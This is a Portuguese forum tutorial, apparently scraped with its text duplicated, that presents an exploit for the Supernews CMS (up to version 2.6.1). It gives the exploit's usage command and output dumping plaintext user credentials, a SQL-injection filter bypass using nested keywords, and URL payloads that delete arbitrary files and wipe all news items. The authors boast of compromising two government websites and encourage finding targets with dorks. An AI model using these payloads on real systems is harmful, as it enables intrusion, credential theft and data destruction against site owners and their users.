Boas.
Ontem o WCGroup descobriu uma falha em um sistema de gerenciamento de notícias chamado Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....
Demos prazo para o desenvolvedor resolver o problema e publicar a solução. E, claro!, ele foi o primeiro a saber. No entanto, nada foi divulgado ainda... Já não é problema nosso. Em nome do conhecimento livre, escrevemos o exploit e divulgamos.
Ontem demos uma olhada e já, de cara, conseguimos acesso a 2 websites governamentais. Tem um bom uso, só precisa mesmo ter uma boa dork.
Neste tutorial vamos mostrar como usar o exploit e também dar detalhes sobre a vulnerabilidade.
Como usar o exploit
Baixe-o Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....
O uso é relativamente simples:
Digamos que queiramos invadir o site "http://alvo.com/", e nele está uma instalação do Supernews com versão igual ou inferior à 2.6.1 (mais atual, levando em conta que hoje = 22/05/2012). Nós salvamos o exploit que pegamos no exploit-db (link acima) como "exploit.php".
Assim, fazemos apenas:
(última barra ao final da URL é opcional)
Resultado:
Explorando uma falha no sistema, ele já retorna as credenciais de todos os usuários, sem criptografia.
Que falha?
Nas versões anteriores à 2.6 houve uma vulnerabilidade de SQLi.
Esta falha foi descoberta por diversos defacers de plantão, mas não sabiam que se tratavam de uma CMS pública. No entanto, usuários do sistema começaram a reclamar para o desenvolvedor que estavam tendo seus sites invadidos. O desenvolvedor descobriu a falha e criou uma função, no arquivo 'funcao.php', para tentar resolver isso:
Veja: ele escapa as aspas [Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...] e depois aplica um filtro baseado em keywords usadas nos ataques SQLi (alguém mais lembrou do Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...?).
A falha está na visualização de notícias, variável "noticia".
Outras falhas
Digitando 'php exploit.php moreinfo' você tem acesso a outras 2 vulnerabilidades, de gravidade mediana, mas que podem ser utilizada em conjunto.
A primeira permite que você exclua arquivos.
Ao excluir uma notícia, você verá um link como:
Mas você 'pode' excluir outros arquivos:
Lembrando que a variável "deleta" deve ser a ID de uma notícia que exista.
Em outra falha, você pode excluir todas as notícias com um só request:
Ou seja, ele vai excluir a notícia em que ID =0 ou 1=1. Como 1 é sempre igual a 1 (querem que eu prove? ), esta condicional sempre vai retornar true, fazendo com que todas as linhas sejam excluidas.
Ontem o WCGroup descobriu uma falha em um sistema de gerenciamento de notícias chamado Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....
Demos prazo para o desenvolvedor resolver o problema e publicar a solução. E, claro!, ele foi o primeiro a saber. No entanto, nada foi divulgado ainda... Já não é problema nosso. Em nome do conhecimento livre, escrevemos o exploit e divulgamos.
Ontem demos uma olhada e já, de cara, conseguimos acesso a 2 websites governamentais. Tem um bom uso, só precisa mesmo ter uma boa dork.
Neste tutorial vamos mostrar como usar o exploit e também dar detalhes sobre a vulnerabilidade.
Como usar o exploit
Baixe-o Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....
O uso é relativamente simples:
Código:
php arquivo.php http://url/path
Assim, fazemos apenas:
Código:
php exploit.php http://alvo.com/
Resultado:
Código:
[*] Trying to access server...[*] Detecting version... :-o [!] Version: =2.6.1 :-) [!] Administration panel: http://alvo.com/admin/adm_noticias.php [i] Type "exploit.php moreinfo" for get others vulnerabilities.[*] Getting user & pass 8-] User: user1 Pass: pass1 User: user2 Pass: pass2 Good luck! :-D
Que falha?
Nas versões anteriores à 2.6 houve uma vulnerabilidade de SQLi.
Esta falha foi descoberta por diversos defacers de plantão, mas não sabiam que se tratavam de uma CMS pública. No entanto, usuários do sistema começaram a reclamar para o desenvolvedor que estavam tendo seus sites invadidos. O desenvolvedor descobriu a falha e criou uma função, no arquivo 'funcao.php', para tentar resolver isso:
Código:
function formatDados($data) { $data = strip_tags($data); $data = trim($data); $data = get_magic_quotes_gpc() == 0 ? addslashes($data) : $data; $data = preg_replace("@(--|\#|\*|;|select|union|drop|insert|delete|xp_|\=| or |-shutdown|update| and |&|')@s", "", $data); return $data; }
(e o Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... concorda comigo:
"Para entender recursão, antes você precisa entender recursão").
Digitando "selselectect" o "select" visível no centro é removido, formando um novo "select". Veja como ficou o request no exploit:
@0KaL_H4: @ProgramadorREAL a tirinha 458 poderia ter sido mostrada pro desenvolvedor do Supernews Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
@ProgramadorREAL: @0KaL_H4 Vero... * rt
@ProgramadorREAL: @0KaL_H4 Vero... * rt
Código PHP:
$gettoken = strip_tags(file_get_contents($url.urlencode("uniunionon seleselectct 1,2,3,4,5,".hex($token).",7,8-- ")));
Outras falhas
Digitando 'php exploit.php moreinfo' você tem acesso a outras 2 vulnerabilidades, de gravidade mediana, mas que podem ser utilizada em conjunto.
A primeira permite que você exclua arquivos.
Ao excluir uma notícia, você verá um link como:
Código:
http://alvo.com/admin/adm_noticias.php?deleta=1&unlink=uploads/foto.jpg
Código:
http://alvo.com/admin/adm_noticias.php?deleta=1&unlink=index.php
Em outra falha, você pode excluir todas as notícias com um só request:
Código:
http://alvo.com/admin/adm_noticias.php?deleta=0 or 1=1--+
Comment